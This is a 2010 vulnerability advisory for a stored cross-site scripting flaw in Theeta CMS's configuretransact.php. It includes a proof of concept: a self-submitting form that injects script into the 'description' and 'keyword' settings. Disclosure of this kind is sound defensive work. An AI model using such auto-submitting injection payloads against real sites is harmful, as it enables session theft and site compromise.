Vulnerability ID: HTB22487 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_theeta_cms.html Product: Theeta CMS Vendor: MN Tech Solutions ( http://www.mntechsolutions.net/ ) Vulnerable Version: 0.0 Vendor Notification: 12 July 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "configuretransact.php" script to properly sanitize user-supplied input in "description" and "keyword" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/configuration/configuretransact.php"; method="post" > <input type="hidden" name="sitename" value="Demo Site" /> <input type="hidden" name="url" value="http://host/"; /> <input type="hidden" name="timezone" value="" /> <input type="hidden" name="description" value='descr"><script>alert(document.cookie)</script>' /> <input type="hidden" name="keyword" value='key"><script>alert(document.cookie)</script>' /> <input type="hidden" name="copyright" value="2010" /> <input type="hidden" name="status" value="1" /> <input type="submit" id="upd" name="submit" value="Update Configuration" /> </form> <script> document.getElementById('upd').click(); </script>
